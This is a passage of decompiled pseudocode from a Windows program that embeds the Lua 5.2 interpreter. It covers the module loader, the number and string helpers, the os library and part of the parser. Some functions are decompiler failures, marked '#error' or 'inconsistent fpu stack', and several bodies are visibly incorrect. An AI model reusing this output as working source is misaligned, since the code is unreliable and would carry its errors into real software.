edi@10 _iobuf *v12; // eax@10 char *s; // [sp+Ch] [bp-218h]@1 luaL_Buffer msg; // [sp+10h] [bp-214h]@1 unsigned int v16; // [sp+220h] [bp-4h]@1 v5 = (void *)path; v16 = (unsigned int)&s ^ __security_cookie; s = (char *)name; v6 = sep; luaL_buffinit(L, &msg); if ( *v6 ) v7 = luaL_gsub(L, s, v6, dirsep); else v7 = s; while ( 1 ) { v8 = (const char *)v5; if ( *(_BYTE *)v5 == 59 ) { do v9 = (v8++)[1]; while ( v9 == 59 ); } if ( !*v8 ) break; v5 = strchr(v8, 59); if ( !v5 ) v5 = (void *)&v8[strlen(v8)]; lua_pushlstring(L, v8, v5 - v8); if ( !v5 ) break; v10 = lua_tolstring(L, -1, 0); v11 = luaL_gsub(L, v10, "?", v7); lua_remove(L, -2); v12 = fopen(v11, "r"); if ( v12 ) { fclose(v12); return v11; } lua_pushfstring(L, "\n\tno file '%s'"); lua_remove(L, -2); luaL_addvalue(&msg); } luaL_pushresult(&msg); return 0; } //----- (005B8FC0) -------------------------------------------------------- int __cdecl ll_searchpath(lua_State *L) { const char *v1; // ST28_4@1 const char *v2; // edi@1 const char *v3; // ebx@1 const char *v4; // eax@1 int result; // eax@2 v1 = luaL_optlstring(L, 4, "\\", 0); v2 = luaL_optlstring(L, 3, ".", 0); v3 = luaL_checklstring(L, 2, 0); v4 = luaL_checklstring(L, 1, 0); if ( searchpath(L, v4, v3, v2, v1) ) { result = 1; } else { lua_pushnil(L); lua_insert(L, -2); result = 2; } return result; } //----- (005B9040) -------------------------------------------------------- int __cdecl searcher_Lua(lua_State *L) { const char *v1; // ebx@1 const char *v2; // eax@1 const char *v3; // eax@3 const char *v4; // edi@3 int result; // eax@4 v1 = luaL_checklstring(L, 1, 0); lua_getfield(L, -1001001, "path"); v2 = lua_tolstring(L, -1, 0); if ( !v2 ) luaL_error(L, "'package.%s' must be a string"); v3 = searchpath(L, v1, v2, ".", "\\"); v4 = v3; if ( v3 ) { if ( luaL_loadfilex(L, v3, 0) ) { lua_tolstring(L, -1, 0); lua_tolstring(L, 1, 0); luaL_error(L, "error loading module '%s' from file '%s':\n\t%s"); } lua_pushstring(L, v4); result = 2; } else { result = 1; } return result; } //----- (005B9100) -------------------------------------------------------- int __usercall loadfunc(lua_State *L, const char *modname, const char *filename) { const char *v3; // eax@1 const char *v4; // edi@1 char *v5; // eax@1 const char *v6; // eax@2 int result; // eax@2 const char *v8; // eax@3 v3 = luaL_gsub(L, modname, ".", "_"); v4 = v3; v5 = strchr(v3, 45); if ( !v5 || (lua_pushlstring(L, v4, v5 - v4), v6 = lua_pushfstring(L, "luaopen_%s"), result = ll_loadfunc(L, filename, v6), result == 2) ) { v8 = lua_pushfstring(L, "luaopen_%s"); result = ll_loadfunc(L, filename, v8); } return result; } //----- (005B9180) -------------------------------------------------------- int __cdecl searcher_C(lua_State *L) { const char *v1; // ebx@1 const char *v2; // eax@1 const char *v3; // eax@3 const char *v4; // edi@3 int result; // eax@4 v1 = luaL_checklstring(L, 1, 0); lua_getfield(L, -1001001, "cpath"); v2 = lua_tolstring(L, -1, 0); if ( !v2 ) luaL_error(L, "'package.%s' must be a string"); v3 = searchpath(L, v1, v2, ".", "\\"); v4 = v3; if ( v3 ) { if ( loadfunc(L, v3, v1) ) { lua_tolstring(L, -1, 0); lua_tolstring(L, 1, 0); luaL_error(L, "error loading module '%s' from file '%s':\n\t%s"); } lua_pushstring(L, v4); result = 2; } else { result = 1; } return result; } //----- (005B9240) -------------------------------------------------------- int __cdecl searcher_Croot(lua_State *L) { const char *v1; // eax@1 const char *v2; // edi@1 int result; // eax@1 const char *v4; // ebp@2 const char *v5; // eax@2 const char *v6; // eax@4 const char *v7; // ebx@4 int v8; // eax@5 v1 = luaL_checklstring(L, 1, 0); v2 = v1; result = (int)strchr(v1, 46); if ( result ) { lua_pushlstring(L, v2, result - (_DWORD)v2); v4 = lua_tolstring(L, -1, 0); lua_getfield(L, -1001001, "cpath"); v5 = lua_tolstring(L, -1, 0); if ( !v5 ) luaL_error(L, "'package.%s' must be a string"); v6 = searchpath(L, v4, v5, ".", "\\"); v7 = v6; if ( !v6 ) return 1; v8 = loadfunc(L, v6, v2); if ( v8 ) { if ( v8 != 2 ) { lua_tolstring(L, -1, 0); lua_tolstring(L, 1, 0); luaL_error(L, "error loading module '%s' from file '%s':\n\t%s"); } lua_pushfstring(L, "\n\tno module '%s' in file '%s'"); return 1; } lua_pushstring(L, v7); result = 2; } return result; } //----- (005B9340) -------------------------------------------------------- int __cdecl searcher_preload(lua_State *L) { const char *v1; // edi@1 v1 = luaL_checklstring(L, 1, 0); lua_getfield(L, -1001000, "_PRELOAD"); lua_getfield(L, -1, v1); if ( !lua_type(L, -1) ) lua_pushfstring(L, "\n\tno field package.preload['%s']"); return 1; } //----- (005B93A0) -------------------------------------------------------- void __usercall findloader(lua_State *L, const char *name) { int v2; // ebx@3 luaL_Buffer msg; // [sp+0h] [bp-214h]@1 unsigned int v4; // [sp+210h] [bp-4h]@1 v4 = (unsigned int)&msg ^ __security_cookie; luaL_buffinit(L, &msg); lua_getfield(L, -1001001, "searchers"); if ( lua_type(L, 3) != 5 ) luaL_error(L, "'package.searchers' must be a table"); v2 = 1; while ( 1 ) { lua_rawgeti(L, 3, v2); if ( !lua_type(L, -1) ) { lua_settop(L, -2); luaL_pushresult(&msg); lua_tolstring(L, -1, 0); luaL_error(L, "module '%s' not found:%s"); } lua_pushstring(L, name); lua_callk(L, 1, 2, 0, 0); if ( lua_type(L, -2) == 6 ) break; if ( lua_isstring(L, -2) ) { lua_settop(L, -2); luaL_addvalue(&msg); ++v2; } else { lua_settop(L, -3); ++v2; } } } //----- (005B94B0) -------------------------------------------------------- int __cdecl ll_require(lua_State *L) { const char *v1; // edi@1 v1 = luaL_checklstring(L, 1, 0); lua_settop(L, 1); lua_getfield(L, -1001000, "_LOADED"); lua_getfield(L, 2, v1); if ( !lua_toboolean(L, -1) ) { lua_settop(L, -2); findloader(L, v1); lua_pushstring(L, v1); lua_insert(L, -2); lua_callk(L, 2, 1, 0, 0); if ( lua_type(L, -1) ) lua_setfield(L, 2, v1); lua_getfield(L, 2, v1); if ( !lua_type(L, -1) ) { lua_pushboolean(L, 1); lua_pushvalue(L, -1); lua_setfield(L, 2, v1); } } return 1; } //----- (005B9580) -------------------------------------------------------- void __usercall setpath(lua_State *L, const char *envname1, const char *fieldname, const char *envname2, const char *def) { lua_State *v5; // esi@1 char *v6; // edi@1 int v7; // ebx@3 const char *v8; // eax@4 v5 = L; v6 = getenv(envname1); if ( (v6 || (v6 = getenv(envname2)) != 0) && (lua_getfield(v5, -1001000, "LUA_NOENV"), v7 = lua_toboolean(v5, -1), lua_settop(v5, -2), !v7) ) { v8 = luaL_gsub(v5, v6, ";;", ";"); luaL_gsub(v5, v8, byte_681950, def); lua_remove(v5, -2); } else { lua_pushstring(v5, def); } setprogdir(v5); lua_setfield(v5, -2, fieldname); } //----- (005B9630) -------------------------------------------------------- void __usercall createsearcherstable(lua_State *L) { int v1; // esi@1 int (__cdecl **v2)(lua_State *); // ebx@2 lua_createtable(L, 4, 0); v1 = 0; if ( searchers[0] ) { v2 = searchers; do { lua_pushvalue(L, -2); lua_pushcclosure(L, *v2, 1); ++v1; lua_rawseti(L, -2, v1); v2 = (int (__cdecl **)(lua_State *))(4 * v1 + 6821820); } while ( searchers[v1] ); } } //----- (005B9690) -------------------------------------------------------- int __cdecl luaopen_package(lua_State *L) { luaL_getsubtable(L, -1001000, "_CLIBS"); lua_createtable(L, 0, 1); lua_pushcclosure(L, gctm, 0); lua_setfield(L, -2, "__gc"); lua_setmetatable(L, -2); lua_createtable(L, 0, 2); luaL_setfuncs(L, &pk_funcs, 0); createsearcherstable(L); lua_setfield(L, -2, "searchers"); setpath(L, "path", "LUA_PATH_5_2", "LUA_PATH", "!\\lua\\?.lua;!\\lua\\?\\init.lua;!\\?.lua;!\\?\\init.lua;.\\?.lua"); setpath(L, "cpath", "LUA_CPATH_5_2", "LUA_CPATH", "!\\?.dll;!\\loadall.dll;.\\?.dll"); lua_pushlstring(L, "\\\n;\n?\n!\n-\n", 0xAu); lua_setfield(L, -2, "config"); luaL_getsubtable(L, -1001000, "_LOADED"); lua_setfield(L, -2, "loaded"); luaL_getsubtable(L, -1001000, "_PRELOAD"); lua_setfield(L, -2, "preload"); lua_rawgeti(L, -1001000, 2); lua_pushvalue(L, -2); luaL_setfuncs(L, &ll_funcs, 1); lua_settop(L, -2); return 1; } //----- (005B97D0) -------------------------------------------------------- int __cdecl luaO_int2fb(unsigned int x) { unsigned int v1; // ecx@1 int v2; // eax@1 int result; // eax@2 v1 = x; v2 = 0; if ( x >= 8 ) { if ( x >= 0x10 ) { do { v1 = (v1 + 1) >> 1; ++v2; } while ( v1 >= 0x10 ); } result = (v1 - 8) | (8 * v2 + 8); } else { result = x; } return result; } //----- (005B9800) -------------------------------------------------------- int __cdecl luaO_fb2int(int x) { int result; // eax@1 result = x; if ( (x >> 3) & 0x1F ) result = ((x & 7) + 8) << (((x >> 3) & 0x1F) - 1); return result; } //----- (005B9820) -------------------------------------------------------- int __cdecl luaO_ceillog2(unsigned int x) { int v1; // ecx@1 unsigned int i; // eax@1 v1 = 0; for ( i = x - 1; i >= 0x100; v1 += 8 ) i >>= 8; return v1 + (unsigned __int8)log_2[i]; } //----- (005B9850) -------------------------------------------------------- long double __cdecl luaO_arith(int op, long double v1, long double v2) { long double result; // st7@2 switch ( op ) { case 0: result = v1 + v2; break; case 1: result = v1 - v2; break; case 2: result = v1 * v2; break; case 3: result = v1 / v2; break; case 4: result = v1 - floor(v1 / v2) * v2; break; case 5: result = pow(v1, v2); break; case 6: result = -v1; break; default: result = 0.0; break; } return result; } //----- (005B98E0) -------------------------------------------------------- int __cdecl luaO_hexavalue(int c) { int result; // eax@2 if ( byte_680949[c] & 2 ) result = c - 48; else result = (c | 0x20) - 87; return result; } //----- (005B9900) -------------------------------------------------------- // local variable allocation has failed! long double __usercall readhexa(const char **s, int *count, long double r) { long double v3; // st7@1 int v4; // eax@1 int v5; // eax@2 int v6; // eax@3 int v7; // eax@4 signed int v8; // eax@5 double v9; // st6@5 const char *v10; // eax@5 int v11; // eax@5 long double result; // edx@6 v3 = r; v4 = (unsigned __int8)**s; if ( byte_680949[v4] & 0x10 ) { do { v5 = (unsigned __int8)**s; if ( byte_680949[v5] & 2 ) v6 = v5 - 48; else v7 = (v5 | 0x20) - 87; v9 = (double)v8; ++*count; v10 = *s + 1; *s = v10; v11 = (unsigned __int8)*v10; v3 = v3 * 16.0 + v9; } while ( byte_680949[v11] & 0x10 ); } *(_QWORD *)&result = *(_QWORD *)&count; return result; } // 5B9900: function return type is incorrect (must be floating point) // 5B9900: variables would overlap: edx/4 and qax/8 //----- (005B9960) -------------------------------------------------------- long double __cdecl lua_strx2number(const char *s, char **endptr) { const char *v2; // eax@1 char **v3; // edi@1 char v4; // bl@1 int v5; // esi@1 char v6; // bl@2 const char v7; // cl@9 long double v8; // ST04_8@11 const char *v9; // eax@11 long double v10; // ST04_8@12 int v11; // esi@17 const char v12; // cl@19 int v13; // edx@19 signed int v14; // edi@20 const char v15; // cl@24 long double v16; // ST00_8@32 long double result; // st7@32 int e; // [sp+1Ch] [bp-Ch]@1 int i; // [sp+20h] [bp-8h]@1 int neg; // [sp+24h] [bp-4h]@4 v2 = s; v3 = endptr; *endptr = (char *)s; v4 = byte_680949[(unsigned __int8)*v2]; v5 = 0; e = 0; i = 0; if ( v4 & 8 ) { do v6 = byte_680949[(unsigned __int8)(v2++)[1]]; while ( v6 & 8 ); } if ( *v2 == 45 ) { ++v2; neg = 1; } else { if ( *v2 == 43 ) ++v2; neg = 0; } if ( *v2 != 48 || (v7 = v2[1], v7 != 120) && v7 != 88 ) goto LABEL_16; __asm { fld ds:__real@0000000000000000 fstp [esp+24h+var_24] } s = v2 + 2; readhexa(&s, v8, &i); v9 = s; if ( *s == 46 ) { __asm { fstp [esp+24h+var_24] } ++s; readhexa(&s, v10, &e); v9 = s; v5 = e; } if ( !i && !v5 ) { __asm { fstp st } LABEL_16: __asm { fld ds:__real@0000000000000000 } return result; } *v3 = (char *)v9; v11 = -4 * v5; if ( *v9 == 112 || *v9 == 80 ) { v12 = v9[1]; v13 = 0; ++v9; if ( v12 == 45 ) { ++v9; v14 = 1; } else { if ( v12 == 43 ) ++v9; v14 = 0; } v15 = *v9; if ( !(byte_680949[(unsigned __int8)*v9] & 2) ) goto ret; do { ++v9; v13 = v15 + 10 * v13 - 48; v15 = *v9; } while ( byte_680949[(unsigned __int8)*v9] & 2 ); if ( v14 ) v13 = -v13; v3 = endptr; v11 += v13; } *v3 = (char *)v9; ret: if ( neg ) __asm { fchs } __asm { fstp qword ptr [esp] } return ldexp(v16, v11); } // 5B99CD: inconsistent fpu stack //----- (005B9AC0) -------------------------------------------------------- int __cdecl luaO_str2d(const char *s, unsigned int len, long double *result) { char *v3; // ecx@0 int v4; // eax@1 int v5; // eax@2 char *v6; // eax@5 int v7; // eax@6 char *endptr; // [sp+0h] [bp-4h]@1 endptr = v3; strpbrk((char *)s, "nN"); if ( v4 || ((strpbrk((char *)s, "xX"), !v5) ? (*result = strtod(s, &endptr)) : (*result = lua_strx2number(s, &endptr)), v6 = endptr, endptr == s) ) { v7 = 0; } else { if ( byte_680949[(unsigned __int8)*endptr] & 8 ) { do { ++v6; endptr = v6; } while ( byte_680949[(unsigned __int8)*v6] & 8 ); } v7 = v6 == &s[len]; } return v7; } //----- (005B9B60) -------------------------------------------------------- void __usercall pushstr(lua_State *L, const char *str, unsigned int l) { lua_TValue *v3; // edi@1 TString *v4; // eax@1 lua_TValue *v5; // eax@1 char *v6; // ecx@1 v3 = L->top; v4 = luaS_newlstr(L, str, l); v3->u.i.v__.gc = (GCObject *)v4; v3->u.i.tt__ = BYTE4(v4->dummy.u) | 0x7FF7A540; v5 = L->top + 1; v6 = (char *)((char *)L->stack_last - (char *)v5); L->top = v5; if ( (signed int)((unsigned int)v6 & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); } //----- (005B9BB0) -------------------------------------------------------- const char *__cdecl luaO_pushvfstring(lua_State *L, const char *fmt, char *argp) { char *v3; // ebx@1 int v4; // edi@1 void *v5; // eax@1 char *v6; // edi@2 lua_TValue *v7; // ebp@4 TString *v8; // eax@4 lua_TValue *v9; // eax@4 char *v10; // ecx@4 const char *v11; // ecx@7 lua_TValue *v12; // ebx@9 TString *v13; // eax@9 char v14; // dl@10 lua_TValue *v15; // ebx@10 TString *v16; // eax@10 lua_TValue *v17; // edx@10 char *v18; // edx@10 bool v19; // zf@10 bool v20; // sf@10 char v21; // of@10 double v22; // st7@11 int v23; // ecx@11 int v24; // eax@12 int v25; // eax@13 lua_TValue *v26; // ebx@13 TString *v27; // eax@13 lua_TValue *v28; // ebx@14 TString *v29; // eax@14 lua_TValue *v30; // eax@15 char *v31; // ecx@15 const char *result; // eax@22 char *v33; // [sp+10h] [bp-2Ch]@1 char buff; // [sp+17h] [bp-25h]@10 char *e; // [sp+18h] [bp-24h]@1 int n; // [sp+1Ch] [bp-20h]@1 char str; // [sp+20h] [bp-1Ch]@13 unsigned int v38; // [sp+38h] [bp-4h]@1 v3 = (char *)fmt; v4 = 0; v38 = (unsigned int)&v33 ^ __security_cookie; n = 0; v5 = strchr(fmt, 37); e = (char *)v5; if ( v5 ) { v6 = argp - 4; v33 = argp - 8; while ( 1 ) { v7 = L->top; v8 = luaS_newlstr(L, v3, v5 - v3); v7->u.i.v__.gc = (GCObject *)v8; v7->u.i.tt__ = BYTE4(v8->dummy.u) | 0x7FF7A540; v9 = L->top + 1; v10 = (char *)((char *)L->stack_last - (char *)v9); L->top = v9; if ( (signed int)((unsigned int)v10 & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); switch ( e[1] ) { case 115: v11 = (const char *)*((_DWORD *)v6 + 1); v6 += 4; v33 += 4; if ( !v11 ) v11 = "(null)"; v12 = L->top; v13 = luaS_newlstr(L, v11, strlen(v11)); v12->u.i.v__.gc = (GCObject *)v13; v12->u.i.tt__ = BYTE4(v13->dummy.u) | 0x7FF7A540; break; case 99: v14 = v6[4]; v15 = L->top; v33 += 4; v6 += 4; buff = v14; v16 = luaS_newlstr(L, &buff, 1u); v15->u.i.v__.gc = (GCObject *)v16; v15->u.i.tt__ = BYTE4(v16->dummy.u) | 0x7FF7A540; v17 = L->top + 1; L->top = v17; v18 = (char *)((char *)L->stack_last - (char *)v17); v21 = 0; v19 = ((unsigned int)v18 & 0xFFFFFFF8) == 0; v20 = ((unsigned int)v18 & 0xFFFFFFF8 & 0x80000000u) != 0; goto LABEL_16; case 100: v22 = (double)*((signed int *)v6 + 1); v23 = (int)(v33 + 4); v6 += 4; *(_QWORD *)&L->top->u.i.v__.gc = *(_QWORD *)&v22; v33 = (char *)v23; break; case 102: v24 = (int)(v33 + 8); *(double *)&L->top->u.i.v__.gc = *((double *)v33 + 1); v33 = (char *)v24; v6 += 8; break; case 112: v6 += 4; v33 += 4; v25 = sprintf(&str, "%p"); v26 = L->top; v27 = luaS_newlstr(L, &str, v25); v26->u.i.v__.gc = (GCObject *)v27; v26->u.i.tt__ = BYTE4(v27->dummy.u) | 0x7FF7A540; break; case 37: v28 = L->top; v29 = luaS_newlstr(L, "%", 1u); v28->u.i.v__.gc = (GCObject *)v29; v28->u.i.tt__ = BYTE4(v29->dummy.u) | 0x7FF7A540; break; default: luaG_runerror(L, "invalid option '%%%c' to 'lua_pushfstring'"); return result; } v30 = L->top + 1; v31 = (char *)((char *)L->stack_last - (char *)v30); L->top = v30; v21 = 0; v19 = ((unsigned int)v31 & 0xFFFFFFF8) == 0; v20 = ((unsigned int)v31 & 0xFFFFFFF8 & 0x80000000u) != 0; LABEL_16: if ( (unsigned __int8)(v20 ^ v21) | v19 ) luaD_growstack(L, 0); v3 = e + 2; n += 2; e = strchr(e + 2, 37); if ( !e ) break; v5 = e; } v4 = n; } pushstr(L, v3, strlen(v3)); if ( v4 > 0 ) luaV_concat(L, v4 + 1); return (const char *)&L->top[-1].u.i.v__.gc->u.uv.len; } //----- (005B9EA0) -------------------------------------------------------- const char *__cdecl luaO_pushfstring(lua_State *L, const char *fmt) { char argp; // [sp+Ch] [bp+Ch]@0 return luaO_pushvfstring(L, fmt, &argp); } //----- (005B9EC0) -------------------------------------------------------- void __cdecl luaO_chunkid(char *out, const char *source, unsigned int bufflen) { int v3; // ebx@1 const void *v4; // esi@2 char *v5; // edi@9 void *v6; // edx@9 int v7; // edx@11 int v8; // edx@16 v3 = strlen(source); if ( *source == 61 ) { v4 = source + 1; if ( v3 > bufflen ) { memcpy(out, v4, bufflen - 1); out[bufflen - 1] = 0; } else { memcpy(out, v4, v3); } return; } if ( *source != 64 ) { v5 = strchr(source, 10); *(_DWORD *)out = *(_DWORD *)"[string \""; *((_DWORD *)out + 1) = dword_681B60; out[8] = byte_681B64; v6 = out + 9; if ( v3 >= bufflen - 15 ) { if ( !v5 ) { LABEL_14: if ( v3 > bufflen - 15 ) v3 = bufflen - 15; memcpy(v6, source, v3); v8 = (int)((char *)v6 + v3); *(_WORD *)v8 = *(_WORD *)"..."; *(_BYTE *)(v8 + 2) = byte_6813D2; v7 = v8 + 3; goto LABEL_17; } } else { if ( !v5 ) { memcpy(v6, source, v3); v7 = (int)((char *)v6 + v3); LABEL_17: *(_WORD *)v7 = *(_WORD *)"\"]"; *(_BYTE *)(v7 + 2) = byte_681B5A; return; } } v3 = v5 - source; goto LABEL_14; } if ( v3 > bufflen ) { *(_WORD *)out = *(_WORD *)"..."; out[2] = byte_6813D2; memcpy(out + 3, &source[v3 - (bufflen - 3) + 1], bufflen - 3); } else { memcpy(out, source + 1, v3); } } // 6813D2: using guessed type char byte_6813D2; // 681B5A: using guessed type char byte_681B5A; // 681B60: using guessed type int dword_681B60; // 681B64: using guessed type char byte_681B64; //----- (005BA020) -------------------------------------------------------- int __cdecl os_execute(lua_State *L) { const char *v1; // esi@1 int result; // eax@2 int v3; // [sp-4h] [bp-Ch]@1 v1 = luaL_optlstring(L, 1, 0, 0); v3 = system(v1); if ( v1 ) { result = luaL_execresult(L, v3); } else { lua_pushboolean(L, v3); result = 1; } return result; } //----- (005BA060) -------------------------------------------------------- int __cdecl os_remove(lua_State *L) { const char *v1; // eax@1 const char *v2; // ST08_4@1 int v3; // eax@1 v1 = luaL_checklstring(L, 1, 0); v2 = v1; v3 = remove(v1); return luaL_fileresult(L, v3 == 0, v2); } //----- (005BA090) -------------------------------------------------------- int __cdecl os_rename(lua_State *L) { const char *v1; // edi@1 const char *v2; // eax@1 int v3; // eax@1 v1 = luaL_checklstring(L, 1, 0); v2 = luaL_checklstring(L, 2, 0); v3 = rename(v1, v2); return luaL_fileresult(L, v3 == 0, v1); } //----- (005BA0D0) -------------------------------------------------------- int __cdecl os_tmpname(lua_State *L) { char buff[14]; // [sp+4h] [bp-14h]@1 unsigned int v3; // [sp+14h] [bp-4h]@1 v3 = (unsigned int)buff ^ __security_cookie; if ( !tmpnam(buff) ) luaL_error(L, "unable to generate a unique filename"); lua_pushstring(L, buff); return 1; } //----- (005BA140) -------------------------------------------------------- int __cdecl os_getenv(lua_State *L) { const char *v1; // eax@1 char *v2; // eax@1 v1 = luaL_checklstring(L, 1, 0); v2 = getenv(v1); lua_pushstring(L, v2); return 1; } //----- (005BA170) -------------------------------------------------------- int __cdecl os_clock(lua_State *L) { int v1; // ST0C_4@1 v1 = clock(); lua_pushnumber(L, (double)v1 * 0.001); return 1; } //----- (005BA1A0) -------------------------------------------------------- const char *__usercall checkoption(const char *conv, lua_State *L, char *buff) { unsigned int v3; // edi@1 const char *v4; // eax@4 const char v5; // cl@5 const char *v6; // eax@8 v3 = 0; while ( 1 ) { if ( *conv && strchr(options[v3 / 4], *conv) ) { buff[1] = *conv; v4 = (const char *)(&off_681D74)[v3 / 2]; if ( !*v4 ) { buff[2] = 0; return conv + 1; } v5 = conv[1]; if ( v5 ) { if ( strchr(v4, v5) ) break; } } v3 += 8; if ( v3 >= 8 ) { v6 = lua_pushfstring(L, "invalid conversion specifier '%%%s'"); luaL_argerror(L, 1, v6); } } buff[2] = conv[1]; buff[3] = 0; return conv + 2; } // 681D74: using guessed type char (*off_681D74)[2]; //----- (005BA230) -------------------------------------------------------- #error "5BA230: undefined or illegal type '#593' (funcsize=208)" //----- (005BA4A0) -------------------------------------------------------- #error "5BA4A0: undefined or illegal type '#593' (funcsize=198)" //----- (005BA6F0) -------------------------------------------------------- int __cdecl os_difftime(lua_State *L) { int v1; // ST0C_4@1 long double v2; // st7@1 long double v3; // st7@1 v1 = (unsigned __int64)luaL_optnumber(L, 2, 0.0); v2 = luaL_checknumber(L, 1); v3 = difftime((unsigned __int64)v2, v1); lua_pushnumber(L, v3); return 1; } //----- (005BA740) -------------------------------------------------------- int __cdecl os_setlocale(lua_State *L) { const char *v1; // edi@1 int v2; // eax@1 char *v3; // eax@1 v1 = luaL_optlstring(L, 1, 0, 0); v2 = luaL_checkoption(L, 2, "all", catnames); v3 = setlocale(cat[v2], v1); lua_pushstring(L, v3); return 1; } //----- (005BA790) -------------------------------------------------------- int __cdecl os_exit(lua_State *L) { int v1; // esi@2 if ( lua_type(L, 1) == 1 ) v1 = lua_toboolean(L, 1) == 0; else v1 = luaL_optinteger(L, 1, 0); if ( lua_toboolean(L, 2) ) lua_close(L); if ( L ) exit(v1); return 0; } //----- (005BA7F0) -------------------------------------------------------- int __cdecl luaopen_os(lua_State *L) { lua_createtable(L, 0, 11); luaL_setfuncs(L, &syslib, 0); return 1; } //----- (005BA850) -------------------------------------------------------- void __usercall errorlimit(FuncState *fs, int limit, const char *what) { lua_State *v3; // edi@1 const char *v4; // eax@3 v3 = fs->ls->L; if ( fs->f->linedefined ) luaO_pushfstring(v3, "function at line %d"); v4 = luaO_pushfstring(v3, "too many %s (limit is %d) in %s"); luaX_syntaxerror(fs->ls, v4); } //----- (005BA8A0) -------------------------------------------------------- int __usercall testnext(LexState *ls, int c) { int result; // eax@2 if ( ls->t.token == c ) { luaX_next(ls); result = 1; } else { result = 0; } return result; } //----- (005BA8C0) -------------------------------------------------------- void __usercall check_match(LexState *ls, int what, int where, int who) { LexState *v4; // esi@1 const char *v5; // eax@6 v4 = ls; if ( ls->t.token != what ) { if ( where == ls->linenumber ) JUMPOUT(error_expected); luaX_token2str(ls, who); luaX_token2str(v4, what); v5 = luaO_pushfstring(v4->L, "%s expected (to close %s at line %d)"); luaX_syntaxerror(v4, v5); } luaX_next(ls); } //----- (005BA920) -------------------------------------------------------- TString *__usercall str_checkname(LexState *ls) { TString *v1; // edi@3 if ( ls->t.token != 288 ) JUMPOUT(error_expected); v1 = (TString *)LODWORD(ls->t.seminfo.r); luaX_next(ls); return v1; } //----- (005BA950) -------------------------------------------------------- void __usercall codestring(LexState *ls, expdesc *e, TString *s) { int v3; // eax@1 v3 = luaK_stringK(ls->fs, s); e->t = -1; e->f = -1; e->k = 4; *(_DWORD *)&e->u.ind.idx = v3; } //----- (005BA970) -------------------------------------------------------- int __cdecl registerlocalvar(LexState *ls, TString *varname) { LexState *v2; // ecx@1 FuncState *v3; // ebp@1 Proto *v4; // edi@1 int v5; // esi@1 int *v6; // ebx@1 void *v7; // eax@2 int v8; // eax@4 int result; // eax@9 v2 = ls; v3 = ls->fs; v4 = v3->f; v5 = v3->f->sizelocvars; v6 = &v3->f->sizelocvars; if ( v3->nlocvars + 1 > v5 ) { v7 = luaM_growaux_(ls->L, v4->locvars, v6, 0xCu, 32767, "local variables"); v2 = ls; v4->locvars = (LocVar *)v7; } if ( v5 < *v6 ) { v8 = v5; do { v4->locvars[v8].varname = 0; ++v5; ++v8; } while ( v5 < *v6 ); } v4->locvars[v3->nlocvars].varname = varname; if ( BYTE5(varname->dummy.u) & 3 && v4->marked & 4 ) luaC_barrier_(v2->L, (GCObject *)&v4->next, (GCObject *)varname); result = v3->nlocvars; v3->nlocvars = result + 1; return (signed __int16)result; } //----- (005BAA20) -------------------------------------------------------- void __usercall new_localvar(LexState *ls, TString *name) { FuncState *v2; // esi@1 Dyndata *v3; // edi@1 __int16 v4; // bp@1 v2 = ls->fs; v3 = ls->dyd; v4 = registerlocalvar(ls, name); if ( v3->actvar.n - v2->firstlocal + 1 > 200 ) errorlimit(v2, 200, "local variables"); if ( v3->actvar.n + 2 > v3->actvar.size ) v3->actvar.arr = (Vardesc *)luaM_growaux_( ls->L, v3->actvar.arr, &v3->actvar.size, 2u, 2147483645, "local variables"); v3->actvar.arr[v3->actvar.n++].idx = v4; } //----- (005BAAA0) -------------------------------------------------------- void __usercall adjustlocalvars(LexState *ls, int nvars) { FuncState *v2; // eax@1 int v3; // ecx@2 v2 = ls->fs; for ( v2->nactvar += nvars; nvars; v2->f->locvars[v2->ls->dyd->actvar.arr[v2->firstlocal + v3].idx].startpc = v2->pc ) v3 = v2->nactvar - nvars--; } //----- (005BAAE0) -------------------------------------------------------- void __usercall removevars(FuncState *fs, int tolevel) { LexState *v2; // esi@2 int v3; // edi@2 char v4; // cl@2 for ( fs->ls->dyd->actvar.n += tolevel - fs->nactvar; fs->nactvar > tolevel; fs->f->locvars[v2->dyd->actvar.arr[v3 + (unsigned __int8)v4].idx].endpc = fs->pc ) { v2 = fs->ls; v3 = fs->firstlocal; v4 = fs->nactvar - 1; fs->nactvar = v4; } } //----- (005BAB40) -------------------------------------------------------- int __usercall searchupvalue(FuncState *fs, TString *name) { Upvaldesc *v2; // ebx@1 int v3; // esi@1 int result; // eax@4 v2 = fs->f->upvalues; v3 = 0; if ( fs->nups ) { while ( !luaS_eqstr(v2[v3].name, name) ) { ++v3; if ( v3 >= fs->nups ) goto LABEL_4; } result = v3; } else { LABEL_4: result = -1; } return result; } //----- (005BAB80) -------------------------------------------------------- int __usercall newupvalue(FuncState *fs, TString *name, expdesc *v) { FuncState *v3; // esi@1 Proto *v4; // edi@1 int v5; // ebx@1 int v6; // eax@1 int *v7; // ebp@1 int result; // eax@10 v3 = fs; v4 = fs->f; v5 = fs->f->sizeupvalues; v6 = fs->nups + 1; v7 = &v3->f->sizeupvalues; if ( v6 > 255 ) errorlimit(v3, 255, "upvalues"); if ( v6 > v5 ) v4->upvalues = (Upvaldesc *)luaM_growaux_(v3->ls->L, v4->upvalues, v7, 8u, 255, "upvalues"); for ( ; v5 < *v7; ++v5 ) v4->upvalues[v5].name = 0; v4->upvalues[v3->nups].instack = v->k == 7; v4->upvalues[v3->nups].idx = LOBYTE(v->u.ind.idx); v4->upvalues[v3->nups].name = name; if ( BYTE5(name->dummy.u) & 3 && v4->marked & 4 ) luaC_barrier_(v3->ls->L, (GCObject *)&v4->next, (GCObject *)name); LOBYTE(result) = v3->nups++; return (unsigned __int8)result; } //----- (005BAC60) -------------------------------------------------------- int __usercall searchvar(FuncState *fs, TString *n) { int v2; // edi@1 int result; // eax@4 v2 = fs->nactvar - 1; if ( v2 < 0 ) { LABEL_4: result = -1; } else { while ( !luaS_eqstr(n, fs->f->locvars[fs->ls->dyd->actvar.arr[v2 + fs->firstlocal].idx].varname) ) { --v2; if ( v2 < 0 ) goto LABEL_4; } result = v2; } return result; } //----- (005BACA0) -------------------------------------------------------- int __cdecl singlevaraux(FuncState *fs, TString *n, expdesc *var, int base) { int result; // eax@2 int v5; // eax@3 BlockCnt *i; // esi@5 int v7; // eax@9 if ( !fs ) return 0; v5 = searchvar(fs, n); if ( v5 < 0 ) { v7 = searchupvalue(fs, n); if ( v7 < 0 ) { result = singlevaraux(fs->prev, n, var, 0); if ( !result ) return result; v7 = newupvalue(fs, n, var); } *(_DWORD *)&var->u.ind.idx = v7; var->t = -1; var->f = -1; 